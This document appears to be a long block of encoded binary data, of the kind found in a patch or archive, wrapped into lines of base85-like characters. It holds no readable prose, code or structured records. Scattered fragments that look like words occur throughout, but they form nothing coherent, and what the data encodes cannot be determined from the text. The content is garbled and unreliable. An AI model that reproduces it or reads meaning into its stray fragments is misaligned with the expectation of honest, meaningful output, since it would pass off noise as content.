z`{P$g`MLbmZZ)3x(~-Su_^JaWzgo^RkCOtK-`05@>(_L2{$`G;SKpj2?bH7nr}|8P zt~@otsXdbTco&-)&;GMJ**ms3SCWhO_i;VTz+zJ`RWH|=`ls_64;sIQE3Wlc?Sbrz z(w+XUw1>;y!F0+oDgNO+BF+Dlr{IlE3CErT-`1o0_apV=5l&=;1orZgP8{Ke+B! zNAz+Hx->8HG`o13oN*6?PTiDQpTu{M4E@X)U7R23;{_@&n$7~*9}XqwHIq;9t*`4)|<9)PO@>BU**Qr-nK2)#Va7yR&#aNDLr(FLq zofw@X55=c)rF?LDAoY*RpX8JeZ))_Iod zy5aTGA9p@Q#u56xI}YbJX#95;rb*wC`9?Gj$ieA2UqR^d?LVcJ$% zxJt+EXKqBTEAA)Xne>hQC;Fk9ej3-$pGfnC_~QAmGH!eAWzoaOn+RVC$9XfvseLB8 z!gO{#m;7ls>@JaOC*()z3!TJMdg7>bBB$A(P$2gY<~v*Sq5kLjyB_DKM9`~nBdYKyX!Fl8E#20U9i1AlEWBB5HT#LD_| z(Ea1;zk>T&T%R}nc-1(b&NKb8hA-Gz#)Yf*W1oko|EOJ7x}D5^{%1Kpp6Puz9$sDf zs!rdg*JVE`ub&2yi*r$C-@M`{_7GgcasGq$LEyN*W^_4N{*H{dYRY#_<1+6(&A03OV*hG?b&S4-K16n$lKsZ0r@HuZE!T6i@37xIv?;`sT+P3@mXEFnxo#4j z^67boe1~j)rIe@ZpKZp)<4k>3I<*T;PyNDI?LQOcQ^SQG_pO=q6t6m7HllOwUH1_X zKiW^R=Md4G@^j^?S-QA$fZH{-H#a|4E~UHTX3?MeRliC8DeK4Ot*L)!v#-&Or?~3J z4KL=`_%5B|Nqo=wI-Z{-{RfxPCqOFYgz{eQJHBe^vQiK5;s{yP4Zz+%sePIgO|F+ND=q>Eiq|Q9XC# z#nZ9%&ZTSnB*~9;@ae*Q{NK%=>gn>0Kk@M) z?h7rYaY+g`tS93W*PkSxtjDYTx<0Rd>nfePs-L9;c`yMi|R#La}*op z78kz@On)5r<9SOn&Z!#5+Yiiq)at{t@VS}as2&~eqc`&rHKQ+qOU%5%n#C)Hv&?tB zJ5GuF)9``$o~RnnKpmr()rV){MWdJM(dA%~(M!$fOJKaw%bLY2g)T-fqE`>%^&%D7 zRT8f4wYqALT94!9^=I?9cAX?|60Y*AyZU@+I<}r9@lC=t9d&D#o~?ID{F87^Pu(?3 z*Vf~tbdqpQSKYNs-?j@$=_TQszPhy|M=5-`5%nLnZ|5p!JU`lR*?Ow|SlqSY%17OJ zJ^j1ikp4;S>hFF-`Z4XFw7)6VZ`8J3+Hp*6+ke&dK-1H9-mTATpTFv*o7BIo>-3ZQ zoBx#@N&V0NS{`jT{@3=R<)wO3xsv*)+SeO>x6q%CD+~R!KUKd=s={esgnpl_E}Z7` z^gE?GbhN)#zgKEPPv^e$yJbz{(Ya;)ep#FNbnaQdV`_s>3eP!p7$M(_waG7q=cab2 z&wKOztahN~uH~!cr{$u0R()xHRZiuLxB0+1>;3usQ+VDBTCKZu@clFR5clu?*?QA_ zX?iKx0FK=Cf0r)ah5+>OtZ>34^Y|BH|3 z);50k$7ub)t_P_9+%_`5U0pwoBWPcPyH3}CG}TAEC)DgSRsV5}_XW#~Qv(fsV z((TLlQ+Tix?`#o`}` zH%C)B_Qm_ODPN=T)@oW$Q#p!-Yx+Xx!Gq(;zVKd2=8N}KGG8xRw{`X8`tRd=4)I=2 z$BpX~@9{M2;8p88Dcr>~@Cn}eYTLWyaJeTh1*h@-9k_4%E3vbK`Tj#(zcTkHCgGRz z`Xt_}j&F`odTp)~yH{89(Pu*`j|}gJPn-M5tbHftd-inVhvz@o#dDtcYJtsHa{QtA z?mWfQ^45F5;;yR~58QaGufKSH72h)^dE#`o9=f>P8<2_4$-Cjg&)zSf;Ysa}>bH7y zxk~b`p0CoEME4z3Hyz1mNu_)iOHbQ5trtn{WcB1w`*2;`o=Q4+&ls0uI?AV}A9vMW zl%M+Xbr7@9W7Ioh58`UL2XVipuPJ|(H?Aj5$J(9JX}uEpGEx6f({%r@T#vRH+?%6wwtz`U46UuqW6KQyJ)1ehti(leK-4wT}b## zwcpV4*@Wd!!M6BD5VbR||ED{NZwl_>`=>o{{mM`6Q~Yut7RAfg!|2GD?#HtJv^hVL zgyY*1X1!kH&Fm)QFUdFdyUY)7JU9HS#xqems}Ijc>A7@C=_;=GMyMR(rlNG?eti4S zS7{yOed_i@f|3Vv-adX4+>jc>EBvuZp8?aY1$;fHtH^Zf}PD1Xh5x}p!f z2h-TwpY6&yLA<}!q(}Fg(s?qy=Tz?*mHr<0Rhjd3QZKZf#r-9#-4AZ(rK?Nl^1rns z)fbzd`gPn`UA{UV@5J(Ypsw=M{=cUD)^)t3^Nmk9=MKL$_pP3ApXjgd4b(2-J-B1Y z#rvFY!8=Ur`; zfBZUyXJH}V7n_4qCW*W?qsRNoO+ITHZ_VT@ffLtIPKj5##`0?XwUfKlluKD8hik`b zN8;lBmW!oa;<%1CtefdBc9leTLJKTzwEr(+=LKy1s>{y*PHEt; zod3mtEPs{Dl|$=+x(~OP@sGL{mrDMt)|1u~4_>Sz_l{FOXnlt23DtkCC;d9h_-E^F zgunPbkaTcgBZp&uW9T$}b+z6qUDf)^7=5|*%B?3lAEK`9Cv~1g`b~Uiccs*0#dW-- z{c6>C270C>pBldMEV2)Lr;__)8?NQzx)pCt@j{ndWG`S`j{IY z&xgoE>t`-qRdN^7iGAR`gyuZF>z~fHn1V)~$tLlhsv>^ZK5Ob%y{O(?eQEf*a@}!Q zP3@N2JzBria?$=t_C@3U*jtO8iHj?r{4PUMf0bN6)-;~B%WE57+V!$Xe&y%iD)Ut1 zLup?#d|x)s+nV!qt;{^Gw!dE(T-%G|Mo7H5_@XkkzuJE4c(Es+L$c#o^{eZ~)AmTy zQ8}I%BkhFSPP%^gTx2gZKG$=S;qFuS(9sc0}o_lDCjf?ZUNpX>aj`>L!Kt!GlL0q4H0G+L7y*^BWk) zoZtAf{nZ`c|JCXAJfYsh;rjKvTV1Vh@pTZq&!vIXPrbiY?b7w@I7D4-S0!D1JKfv| zQZ=55=2KT6o`q?n#D1!#(|dUEdxFnXYPxIAU*yL7)tq$e@i`FXZ_|zAnJ8Yde${P< zisdh!j!j?n{K%oCC){DfdQXGUXUx61S?IQpwA-tv!+CsjE_FHIBd+;XJ~mwSBy=`h z@`3M_m~pCWU&{ZCQW;OV^;^RqdR5wQbzOZbo#x;5yZTjocjc1((P`+si=?+|GwGKu z_=W008gA$JOz=BBhU5K#lVu!U%I9|7a9pR^o%rB86F*6Pit8Z_GJk2;)wG_u`E>o7 zPt{A!{P@c60I`F3yfk!UJOeLZDEX@Ga7i~~(#a;KlO$ht5|_essd`@yKc zz8ddurGEAncJaM|kHkLp9w@!v!q#U4iw*o)-T?u8kM>+jw#Qy3Uya$#>S|J7@B(>w~36&NA4Q z=M^iSEszJFZhT~j&gME!=F-Bt_c z#&tZAHRYHyiNdwJK6p9fRgOaCrz3WnqR z4b+at>xb*de(^pU$Kd?P)zY46eO`EJRero5^K`l=}de|p}rZa)uq#W4aH4CkFlcn^~Q+n-m@p) z#VKRA*iQ3zvihrkpHMvBn)A_iTioP(iCVrO^-0G`wc?gz(eTgIuX5wX64rWq?>N$9 z8csIn#T6eqUU0EbbFaI`D^I~r4;0payf<Vr$)W+vqe z-w);bn~nHtJ=S!D4s*~{>`YvnZ`VGu7YLo&Dc#FY^2YsX7--tfs&UN6zoj0!;aA=* z`El_M*H=y7Z$D`tMh+x53lrF1Ssvkw`;HR$Xt?mpg7C{F@)JH8s4l(omv~td58p#! zxl0n$sb0KNcWr^jcd?cN0QM%RVv($`7G`%{JJ$z^8C8d9H`<2T6_&B0+ zxZ6*~=_~hBae6x*bmQrG)TOWKcuL0?YsbgUcg@FBDu(}wYn!0}+E%{fzr{Mc$B!~L-`&j)wdAwo6UH=PNiLY)?bKkk@U*4_3cdz+9GknKm zmgvLPvy6j1s2QGt*Ll2!?=yZ?ST0(gN#&P=p3hVNUjlQw%6LS_;g2>GKGRuVE06fo zW}JohLi0Ea@15iERSp_ACq0zF-uxX=3ggWA3cZI}>>T&qbQ3!i{d(|iGLiD(`X>iGMm?_o8vy9it^ZZJ*Sh<9^#u zyZD;+Uu(z5wy*0-UhN+wy_)v_9-OmS^sKJ7N96x2eRsRx!AbY0Pc!c_YWq*~%^4(DRdo1ZY?CL2X) zT)Z8!v^;X9nCr=RmDz6)Fi!Y>|bMX!F zonY$!AA3Q@C+)7Un$C@i&b19#=i~F<|Nj(?b`gQ-~9_GGs z@#9S{W`BM$eY)vOJ}T?QrE|w|%gy;Nag)~%R=!1crt|CgKB`$yP<&}$(U;=S+#vP2 zWSrQi(#brAjX%Jw_iMPzXKOxx>w&nH(@(R%7aIH1lPa%G?HU+H^h=bNS95H|%kucUT14HFL}*Uk%S|LV3o zx_?F6)g9|dKI8s0D4p9r34IC$H{N+ zM^U;d&Es@=_GjTTv%gU3B!Bi^em%eJ-s7(K!s`9$Rr~F@G*0K@dOtkA55B34YxMl8 z-d{1u+|ME58Teo~>X)+7IoFiA=b{*$@)JJxoNR63y3bkfbvdCK={*B0CQ3hAEL`nN zUDrN!oGWgs(zztHmw33IQ_}BBjfdYEX1^HG7utDM@e9uZxZ%X7FkJQp+WMyF4phE% z?Yi~HZMStC?Y75*>q|T2x^B5>d8w=U(|ZU+U!wm)J!|-Z4W)lke=*mkcl{DS743_x znqP9b%D=8$w|rDywKHvB*4FRpsTe<(K1r@5+>Ku>JvTgwZ*AdjdOuXi`0VP*GHw~& z8k;X1_qezlPuEx8|C-u6Tu$Toe?h8uDO@XX);5~SY1n>Kmq@(#z_bfhdf;ZuQEdAE7 zduje91{p3+^guauXTzvAj@dAjZv<~#HzV;37fShf5M#|tj5eP>R` z?V8Tox;lQ-`+Va5n%`R_d^DckYlQob%=acF>!zL z{%f7L(|nx3^PaZdd*w;0=NY)_MXB#^Pl?;Rj(6kd&??`H>9&_i^BgKi+{K${Z!c^I z)Nj9EgkIm@s*JxjQ0kk~iQlEucEo;9$K}xQ+H%)4oi&YDQ@PhPoi&YDQ~8qUi=|&I zJc(~@;l#5|AK$I5e(-yGe0-d_uKh=ueOQ{$>iWMPB;TjvrlNbI)i3w)*mbt5aeI%phOgxN z4m4f{^1PoZ3p364YxU@IkvyG8(sxJ-uHkdPX%M;eo#-s|+J(aLK7F1y#CLX$U*;t} z(DdB=Oj}6b%lMsa<{QtA`O|P5`!mqrguC>v9UakEzE{pO_k8HQtnOz~zutqlp4s0L zzxPh>$+P!-U2_K6SDNqLqwlhnz3F=l=VAI&`Q^;LcqQf@!BTS%R+)33W94;YcYQPzcf0pJD{BCaovN@f2O1R zSnDP5UBvh27w5am#2;tQjkBU~` zetXxRT>sI$4uLO`mPx;^_Hn|eQm>QziWi;(r+Om%)J>UpDYPDCqI5J}%K-eUfi$eI&J#GNAV1N_lo2*E~nC~Yu}Hnn$8VR^5Z*T{LYEJHz!^X?DxI4 zPfD-l{_7_xEC@TERs7F(U3-h`IZ01Rdie9{-F7l*J+HcS?eCIyTV1tNH@=2zy_5GQ z@ErTu($5HuUW@#?^j(b5FInDQLW*q+1nU zANQ!dwX4+A+FDnxEk17fSJ%#x`fc4WsP|mUJPpnhnftlBekgW0{eE#rzeeo=&g(TM z{iR{qeDdRd>SNKt^1R#7y=(3rnYo1Q%YLV+|CaAXzti_I{1aSluOyxa8ehNf;{G(e z@Qt)rRpS|WB`fys@>6*UBMK&5IC|!66)t9uP zmwTY?{qVW9rvIzRA$m}~+VPUBhwAEU^>p}M#pf>V{Fl}fwU>W(mU10u&KGJwsczh! zUHjGd=@j?io)J`z`d$UzCs<1LEdyHbRv(V{=j|o!irA?gzo}pLfu*DN`{;wDJ=Ab* z*WG?3segF$G&ot z@KL$d)plH69mi_DS3Sk?RP6i*^>gugSL@e!@$mTkEtUWO>)(f}Z*^7Q>Z-m~U#{Lo ze^#%5_B^@Dv94VA`$qMouIfo$l}q*Zx4xuZQ+=uH&M&xr)u-xF<5kz)u^BekSbs~+ zJDjfnHomVz+jkFY>hC#S+S@U+$;Epv*iFMz?@N2Q;6}m28^}$=EcW9%-OCcM3Hxz> zy`htEyvKS6X%8pgB=HY1@rRiB`|d9BHC*sCY{T*Jo@=Jpdjr%>ZpXEq|MX6gdrkX^ zwf(-)db6%w*-vZxXTO)&>jd-O$+z=GFKTyZ-6`cV<8mn{eYZp0RP=tS`Zd1NX?*dg zLBlmY{jPW2Bz`K_bv;B*9T&~uc{zLE&W}8Ps{GD?tY75Jxw;Z~{W$sFn{c({kLn?f zzsH&Jh1N^Gzc9Ur=hMkvAKqr}@!&_Nvk; z+^&bb|1I;^h4W%@9N*vL`D;6$Q?u|jjc3#Smftl>fu<|x zp>e-3pSQ;MM9hBG>e9LTPU_z(CQE;-<)7s0zOH%O%6HBjzE=?E8Rm-JtE>Ar-Sm^n z+g*2@HbeM}n|zO-++Ul5ckUB9-McP%%eYP?hTy$E2WR)6vpxU*W7>ldt2GpLEpVJK0VXe z;V~OfdMP-L?<>Q1NH>)9kKbDO%6D=aX7rK!dgif<@2j6od~)z9e}{TdNKgDF9N#Z6 z;iX-qe^h>Q4=>*1WN?X}29YNN<3~_F@I6+RCui={ECEWN>X*(NYCPeaG2wX6rpceY z*O@Z%rQtNbKQRLh&HaX@^F=P@ZO|>eQ#0pnKkx9!K#qAoEXle5iWW z@N3OE63w65yOxuzd*gcc4rJ$APWHXX4fvfo`%ZeXeTr_stoKC9eUSEEP1pbC=c12_ zb0oj6ok%~NG5OA#_YZT?yO9+WsC`U9=k8KpC%sI3@Euru2aW8!Sa`AhRjNOo@6-LK zB3Bmn87=w~z1#V|+&P#$%Jn4A^QBFH;=!zANxsUsd_UXubxkL;A@R?`roR(EjL+qT zBVWdGo}J$}O~Iq=VmoZs|B~=G&HSL!c|S^hZe!-b#h-#7mkTcA9UX_*c3A7j1$9OL z_pw}QXvzDxGq4@&#e-sYQ!HHPM|EF~x?0a_>UQ~=`ZesaT8e$ReyxXMH)$BMGtp(B zV`nNie6NoCj~q1UF7cIKaMh2xDY$(`VgIFgao5#L)%nDJ%Di*!hU>f4Dxb7d_)bkO zKAsSL>i%^PBL8qHf0wU@zh}lf>c;Uj^p1t6B7dA;3buJr>^g>*6GlG|mVGAe0*99~ zXz^lxj348RewDM)cG6zxK0xtTrkD73|6dY6)wi}6s~4~Tmp+WB|Vo$a#lCK z#IyZf&C;{+w4Ky+Wn7Er6-@cZan+C7OB$LD6nj#=UeuWUX}FQw1MJ@opDP)+`j>vt zrlb9$^3izJ^Q&Cy;=MJoepT_xuJHF@Dc{3{?;o`i`LE;iof){0{aLt#{W;iwkkkvM zUts93U^f$mtNiM^{iEyug>4zX@AsLLgE9s=*dXMBuL)#@(pFDVx>uU;jpF{0l8b+``1K+HYdaU-QuF6}ri}!x< zKJIk1Usu!Bb?mC+dFFgbP2CinwXx_;`d^%1o+|Cc_RA=r8IbP>wPVX)^q4Z~V*AJX z!1uMb5xo=(*L+F3I)9sq&Zmf;aUJ6hkuT;iN749a9ggD%f zwvjvTCd(;w$#QD=>eDTOPA5zKP(9V400s+SsH-TI$WJe&t*H*M+zzI({y>a3}s+J4!7O3$<2!SgHljtA4*_D<`S z)=xJb#sAR^lgISioB8m2edrOXq{){AC|(P1dV4U+c;hJGOdLyHX7oLTshEHa?q;o<58-@98Z?M@OOO<%)5HunuIyoK69 zJa;rn;;Vh>c^W-`pnkDSdtO2Dm1l|GR!^USeO8KItBz;GNshvHN$H6{wZGb4DPAa7 zVSARek8a*lsx{;VxZm`}LkC*S&d=lusN_ z!O#3|v)<=q{f|5%cD-_I885hg!F7HZ-&+yPrHiL$y7x+Fm*f8r$bpm- zzKhQBalbU5cT2rSq)W=Olb&9hAa#KZDvk@h6=6 z-$MDcUdw%cHa}YLsD2UsV6!e--EmFT`$0U2Z}DxSC#8?$nP^>b_2IJr zg4#Ewn|Cg?FS&~)%T6x`B&r4J{zO1|2^^Dc0=Yg(U>im$p?z(f*{sfm!_h-nt51h9*`%GNA)$_CR zOFVn7MB)|O_h9LD--*hjdKBE=PZh`A^wqDf-9Mt`m?W3T@5WQV-ESi4D=zoVklil7 zj_M1(r}2~6u}i1?)zy5sdMmbHBv zP14Kial6k``KY_?fz&_Pa+Y$y_gzdmG{twp>HV6)rSd&-Y-{Ns^*cyieaBDzIxg3J zGg|-Duj47*SETzvbpNH&t6OZ|pnosw7d&WHF758t?51F&W2C+8jD8RQTChI_LwG!n z{r+!6pD}b<7~V|AZ?o~97V2??K5fD?aQya^|150B`($$PHNV4I0!=y-pHis*s-*As zGfDd;J6e4!^URv=x^n;4SIz9Kn7-7`-1_eN)&7*ex~_YU-}Tq@9KTDS)c(2htG|!Ar%L_$ zJ)y3PtAGFD(vHeIY8jCJrt*12U02t5dQMSYS+7dLBqN7=jv)S?7V_u&)l%j=HTiul zeSb~gal7_R8DD6*satq{l*Yq8ug81PY#e<@S9WFI1J?<8yn*Lr%8?AmG57Mlu$AeP z_|z7z`8fPvR1Z>c=Rc@i^t&qsGk8C~7r7@sK;bD^(MlL-_m+^|;OPGQ_KZu@OJJys^aQSY%Y3hZ}jH+8=H492l4&xcK^J-4_-Bn`_Z12^44&@H@?Ya&Na1yiG>zS8<(}lkhZ1cm_0F#s@YX?a$-5 zl}FB>rD6Q-lwJlFttaKH^V1S9ZTM$E=fN~w-?u-|(jM>j%$Dvh)SCx+>I!do9`Bq0y z{lx0!v-!|-wA%iNALl2`d+g*d949Ni>cRET;`)yFopFDQ@8}MYdbXVVD@`|N>Q_m$ z{wnkytlvQFkMv3N(~FOlcH@yoHN(}eY2AbPwAfGh6ynq_NxPDP_5-NhvGqaQ8^JT6 z>yR2>a2wwZ7k}FD&6sp7e_eN0e&SDq=*hNk8ZNlD4=$f|7cWVUKMR+7h4;mp@s92j zSjBeb89UPPgX*E?cwEm`znX45ymC2c{>9#Lp5N31iI+BZj^i#<5463kE}hnAiKqN* zJuk#*yyUiLZn(&m9G}9gYNrbMQ2(iX#7&uereS0553L^K_HJ>d6TR4WL+CAkZD-!V z{+8;q+|z*LBW`C>pt#DT_@mrE<9a*CtIUsZY6skSu3yGMmFZL;F8yBx-}GVmF1U+b z9fw&xh}>Fkwp{ieCVJ6w(|%m@bvVD{Vfm=OCES*a_Tx$~;o1+_ahZ-2NglG__WV6# z?Q_=Uh4N_oX!)rAb$(Flm92-b^q22MH{6w1^LN$#l%CCp($Tpu8n54o?+(!4bUtTq z+XJE_{J4ju-x-Q7@zMTO$L~FRNPnaLm1oMhcdIQ6)3yC@hb7YgUBUM1!NGMUKYQ&i zeC|3?($Vq0-m@V6P|EZ_+8=rF@My7%L(WF=(EeY0PsZ_8;~99VT)r=qf8CiRr+z2c z?-dQ#eZAkDF5~=;Z^Y%BotAtOJ?^eI?@HlF=LwJt3Ucdicy7@nmK2mUc z3yCk`cz=W0|1Ig~pnW$gof2r*M)X&`cpeP=RrphUD$l1jm;8USiO41Q6sF+*&BXsh zeW4RK1$vL6?Elj5VZ0aQE1}bUVd782CFVX4)syC1zh6{8NqBX`M>Ugj|B~koJP_B) z757(`%Pk)*f7cZ`Z8^L7(DCL$<{cYx^?ez8-qPh;TmBC(lX4R`1vzpR25EksO2B84;lEf z3#FTl-dCy~T@GH_f$Y2l*T+Qeapt`do!3g@qk5@Y&J0L+*6_#gE#_YW?>Cfoq3U>5 z=Ueqc`A>?MBN_~oMftDPm)CuwiA-ErL%Y|upd0d1GaPw!Aj`|H7q zMpT}7UkkTScyBm|F~wq!GDwn=)$+G= zs}7KMQ`1qs#pO!DC}ZDBC;l{a{6p&3n&DQCzdHYS52JjhjUF;E5$_G4cB$Wqq`#ce zLrH?YtgZfPOHZ}MNAsiQ@9IO-v94Q>Ry3jdkb>>Dkb1FtztnR(UQxcdFVviWR{K-G z*5_v2Uf@1NrnB`qDg3Aks%P2gp5b^su<2@kl+QoRcf9&{tRwky=hfr!R;7<&)Dn#T{^W7E!SgAJ1u(Fc3ba}Q`g=n=jva_vo5avmW#XVl}YK<04KlZMx{-;K+kf|~WKZhmUskH^!udb+() zVLxqgZ67qht1llLPruhBo{PKfEzW0MQkcH_@q62R_i6g8r%SR&n|?h1`Wcp19#wf7-q@D5H9mhU3|_^l>}` zZ}Rx3c(~?gM2`B`G}N6-<0;%r$^EU>3ytGxCPnufYCkHjtzXg)R9;us{&z$Ep4I*V z*Hulss_nei8?7(e?uwg=+FNah#7#xt8F7C)YIl^6=n3x~H2RDC(~;iXenainL{ z9rvdb@8?!M9m4wu@jM~#L#?bQrPFY6?S8`fW<6E+i@I`ZKNy$G_P@eE`JQY|znGkt z^SM!N2h=Wby?a}-pDbK;y^OyvGyS8|OL*FZXP~;_I{zi}N%(GP@51k{+Uu9%{h9V# z*=W8->&xota+Uh)V)UY-RXTd#}BCHGdBz&#D9TuWid zjfLY3o1T21aEw?XS*DzHktgzX#9WA@e6nM{dpM5Aj?R&%@h!ch_IDdAG{*bka`P z_UKk_kE%~6;~6`TS~b5M{M1_Xrt_Gt+*QY`Z8<#9^tD{{9uU1h(egY6u9x+`LZ<)*ZPtq zpQMw8mKBt*T-2WE_~>D77t^pmpXbSd%#&ozd_vB|v-4S+o|Kc$lj1$}<{r{F&Jg?5 z`H9E{#E_fJ3Xgo&Yiit3;6pn_j$IqyQ{0K ztE;QysZQxqFE$A0u)2S+BgXfYmNFQ}L++yhpYaj$J|ySc=bnsl8T~4r+r0P;+L`?= zJs0a9U&`?LnBI^L{{;HfL(0wishwjR{qUWap0C>eJM9tA4~cJZxN}I*PULJTU|NK&+|OC=fihne5`9P#`AkRhKGmxJ=c=$bQ#w7 z9};~5ULnvc>Pf^$eA$tYdYICyi?5cG(qp+19t}=y#7VWndMgU+VIz;$?EzGuW4+{WCtt>e>2gTR`q9{^<{4-++3Iey9FG!#EW0 zDe!&-VCOxC%SzbctK5&}y0d^T{hw1_yf15dXXkB9rykNyq>%Y1CTy2WDyQ~x3~#9~ zw67DQJ^)Ys68Jq7_~p?1BQu%2>E|%TkKwfcr1rVa?qXi1e(n5T2>HOiQz4(+67!7i z=`5f379u{|A%(CbX}-=d`KI0LZr{fL-2Rq*(4L%UcBkLlevUNX z_@1Ye-}BBvzglH|^k>2ksvaC~c%R7hV&vmmv?Cm6y34JzJ%_JXJwD3;)N}F`Fdt!< z`?J+>QG>_$xX$gKkLl{S+3zE@+Yz(-xy%*|(x^xsVRq zpZ4^JCm?^*zZ0mF7uun|J<@!**Ts23AqRzaF6C*z-?d-3huM_NK4bD7koCenz(F}a zgrj|!P&#$`L%K-Ud1ZJx$En}c&`yP*ol2Ky!})8<*Zyqt{{cT28BhvN}289540<(CNP)QhwtL zd2gNX)>Xqr>;1a!@n!2BJElJo?A8BneJJOVwo@;B>JQiL)%}pTkBj(tFR^>Rn9hEQ z{nJc73~2i#C+vuEmHW0>zo>l+`{uO6Rx6xt{MHAN67Q zbba4$X{}by{ZjcL zUhkoNNc(oiH}@xP9P5{F)I)X3_Y=FoHH(9vJPzA5jY;2uT1_qL$lk9&vrQbJh$DTI3+jn;jQe#*0UAYQe+7|(Q`TOiDP z;d&1}xxb3^cpsJds`pRheUxf^DY$pqS-#P2zfVrOyw6TP@lI1Fb?~t8eN--M1xWuJ zaUP2AGNV2{cQ5Q&m7bpas6RDZH@+Vr%hUVyN%*BZ%s%P6H>Vg>|0^qF{Rw({A2obG zS~xxZKE%H#y(Z9U%HknB&?nu7JQDnkHRbMUjX%9dFhe{4_2r=+o#lP{0@KG_rdkR0 zT}An~b+Y*%v+qgY2=CHoQipfPR?z3F{PcU?%|Lh5;z+-BOYDE}JqhX&?n_V~)W+Rn z_Tbt6?*-K1vD`Gh?!3KjU#u5CzB}c4A7S(lm!9vvFaSN;@Ym1>^2z>H*H4!}%l20b zx#?W&vl9QS=R&`bPv5l)`rqj2=Z_}+{Ek4c({7Bu2Yj6!^fnW~TwV=)^E*W9TZE@y z3p+u(mO|QV+^6fjcbMLjCf*Wr89%wK9w6;-CM<8UhcTbx`AiC{{f+#_ewluM#Qs|C zKg_4^kY0m&;(N>}5Au`3)Q(UtX*}&o+7Hq&{2FCKn9^YweCD#lkF}GS_nddkiNS$^H;mhCs`+Z6CM;N@qIuk981D+KtFPw>-p z`~f*}GPE-I z2|V?~7x0RfpJD0)+B@_5>bsCi$J*;2?+4>nKs!>O9u4ut%UnLW=O_JAzHlJ)Jk38` z*w*_`Z(`%3?z^81dD=R`!i$D?(h4~x=r`667EigK@~E<{;g?rK`#%$4XFsAJ4!(!5 z)V@~V%>7QPo_m=6kP!9G8(^4nBZM7|^Iqnsy=8d$u#cJvpx$!~-=P=6@r~*9J4yP4w0m!^4*g}A?Y`g_ z(Qi^n|D`Xj19|bDE9vt7FwWaDxjozu%7x#tG9K+0?fKk$K%WVzKXs6Fh)=lOy5Ng` zW6YmxuI)Bsu-E#2kNa7no*Og_q@zEi;jpixcCS5tuJf#4W3zrFY0?I!9HgG zF0cB75A&r$z8C!0#P@qR?xm3973h)zBlys2p><`?wt2Q zFY5K=s84_{<`sqOQ5;V>|Ds+o%=#|t_F&VnPm;;&XIVRHe+ly@9oNoAyP`h1>=xv& z=SsI&d?}j+sP8+4?-p|TX&UQba>{qEj+%(K~fIoG%cYNpI$T6^cC$7|9-%LjNycJN_ ziKC#O#Cvrf*jLJj?^mYt%oHDC{a*e&RN&dX631F%NP#c`qB}UuUn;K33jU zAs_8{iqCe;gzqk49Ls!M(|tqlZ=dk`0OoS-%4mnW@WIDH9!!7kho~RJNH1FB3gb;q zrk|7t!dcJq<`46cOm_GyhRczbgmz;TfKmG1@rJ>0*H@P^ee&Jh2n zZyCKj>~osFEO<8BM`W)xQY51{_o(Z77JGL?C4(x<{^9HE*%C4}mzB}gW2s2+M8#Pg{UHzSq|D0p> zFu#5VOJ6s|^$ON?13o_=Y_02P?=hd@z9}K?ej1K)<#!ZZZ%-fgC32a>{Q@x^@%r7e z$EWLW;S;P-8;N+8&+^5g4dj$^E&Q-WWw~bgMWR_Ph$EH!Z;u2 zDHsns)9dnMofGXC`Ay@~F!AbOs?T-b0X*`3v(vl}r0>9OVf`k)&w9$jkneQ!LjK3P z{L_4CnC+Ry^IfA}?_pK>C}hiZjn7hkvLE!6^a)e^*Y&=I%`*v8J~%%CU0olnX!xa^ zzZ1r(c6^&p7@n;k4A1%x@mPL4zLjhI*xwcl8{es1V|_rU(c+W*lD`wfK6ocS=r&vV z5Z3$BzHi>nkMVEu#y{!-{;l6yKJ(AXa>;Lde&heCPoe$m_yNC7*Pj8|a0Qd+px1v? zLO=4kR?siqN7@kW#qdQQZs%jTdRRWI$BUtT2IaQ_j`I4AZk5mWN?~2SH+&84$Mq@a zYs}xypUElRuSmn~_*Nf#7sT4d?)#WtalY7&XLQpr-V@3FzEfvofW3(0k&s zz0ZF@n^DU@{wZspTo|tQ-y+0YJ?Izs*G<@!w|-^$s_9nGhj)ftSuWxELyE5D%)O|= zLZIxkMX;n1AS$9o#U;3`aWZ@Bl;ek>a+0+y=esfv;IK6Bi)NbKK;HZ z$S0SPhM~`e>o@wJ$&>V$j&k)~xzNvIdcWndo;!R8>jAVA^vmoT*9~d|JfRo= z{o=D+>es}EY>zW)+NmzSm%Om9igG6%)`#WxqCAFu*#YNwu*EO+2Kej;Wk)*u1Mv~o`;9J7Gb;LuUdQ z%fmW6?r#zQ;D>GBA`j!V?V~;Q8PK0t@%_#lXovd6r@f(lf*;P#d3CS&bX+7KDcxRp zz3gKh-MV_D<<;TU#rMkJi(k@ZKSBTQv>VWK+Kpc6z3s}@FTg%hKda@dpVLZuC%u04 zhwafXKIH*>!twcoo8O||aXp3aN^&{;F0*TeOylc8+70f5?i==53&$%RFO!k>XUHE^*+^Zp5d;{l;{o-++ znwG&2`w+6dkJIyd)1$}rp0%AHU+m}8 zTu0KrVZK$$f?vjcs}twIcmsPJ_nnA$%hN`;;qBh^b{~+H0{uZ*&dYhv&joLp(d<Q7{+(uX}HsW&eOr~eJ*!hgmr!zUh_53XL=g0;z$3b zgGzGcwbEt9!dfu3}y z6Xm_eIPgjTG;D`7e#~@LzSwVfodWS|y$d+QE-07jdwdP@CtnPcZ+@Thiu)^K`c5;0 z-T_mY-sH0U*Ad2=Q^{qxSe1Nz-Fi=kaM z4c~i~a{C+>Zpgfwn>?G6{ng|#ATL~N_=9rvZ!J7Zc7MR&XgTO!!=FSNAwAOXUVi`b zV7u1Ad&B+7OaS#BP1mscd+>PJwOnZD772cAO8Mj&R?mif|5)gAFT8VJ9UhN%bEe&( zpL}O~r%4coJ=gDhmTV7aGJQBF*YTo)$MtnC_pJ)OVE;Sw7U=0MH-eul9MVtdh3A_- ztIxq(klsB$`VXa?Q~yx>4%N~p#NSlvM$v)Y28RjL-v#jWd*jeA8uIA%koz`nC&>rPKQ*lLGNGQ(j-+;ncB|^&i{o6h z*BJNe!z0Zf#!YSUlx|7~c#RIcG=FNhX}?+jeIA28SHpQrK9nEZk&tui>WALHfU0?dT;y2D&%9y0lM;;~%jWB6*HpY+>)6FS~d zzj(j)ozXTf=={h1fx&La?@m|rd(qW{E{C1M>9rS>`bS+n`6PYnP0G*D7P5Nk zI$(N?W8Vzpt$sff<`0=%<>AvkTus;ezCj=K-jAPWRq+dfzQpu2Kj*1wKE|i`)$$sx zd2X7&T5iOnoKu+gqx3$X9~gnpn^1 zJZ+hfZ&1bsI7vB1i;i{&9^>P9$b8hJYMA(`zA?Uz4%2(*OXWnlvwwV8?M?ex*B__36!tsqr<48> z>q>loSqSGts|9}xx%@VK4_t)ru+3h4(DAe{>3oUvBCJp1yoX_~=P-ZKnQK_bWWxCB 